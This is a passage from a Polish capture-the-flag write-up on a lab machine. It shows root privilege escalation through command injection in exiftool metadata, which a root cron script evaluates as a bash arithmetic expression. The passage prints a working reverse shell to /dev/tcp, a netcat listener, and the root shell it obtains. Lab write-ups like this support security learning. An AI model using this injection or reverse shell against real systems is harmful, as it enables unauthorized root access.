Po kilku minutach, cron uruchomi skrypt cleancache.sh, a my w katalogu /tmp zobaczymy plik pwnd o zawartości id użytkownika root:

www-data@interface:/tmp$ ls | grep pwnd
pwnd
www-data@interface:/tmp$ cat pwnd
uid=0(root) gid=0(root) groups=0(root)

Podczas eksperymentów z bashem, okazało sie, że konstrukcja arr[$(id>/tmp/pwnd)] jest wrażliwa na obecność białych znaków i kod je zawierający nie zostanie wykonany. Stąd, najlepiej jest wewnątrz nawiasów podać po prostu lokalizację skryptu, który ma sie wykonać np. arr[$(/dev/shm/script.sh)]

By zyskać shella jako użytkownik root, do skryptu /dev/shm/script.sh możemy dodać klasyczny reverse shell:

www-data@interface:/dev/shm$ cat script.sh 
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.60/9999 0>&1
www-data@interface:/dev/shm$ chmod +x script.sh

Modyfikujemy metadane pliku /tmp/test:

www-data@interface:/dev/shm$ touch /tmp/test
www-data@interface:/dev/shm$ exiftool -Producer='arr[$(/dev/shm/script.sh)]' /tmp/test

Ustawiamy listener na naszej maszynie: nc -lvnp 9999 i czekamy aż cron wywoła podatny skrypt nawiązując połączenie z naszym hostem jako root.

Nareszcie możemy odczytać flagę końcową:

rvr@rvr$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.60] from (UNKNOWN) [10.10.11.200] 59162
bash: cannot set terminal process group (23616): Inappropriate ioctl for device
bash: no job control in this shell
root@interface:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@interface:~# cat /root/root.txt
cat /root/root.txt
f1c78ce0************************
© 2023, Code by ravr & powered by Gatsby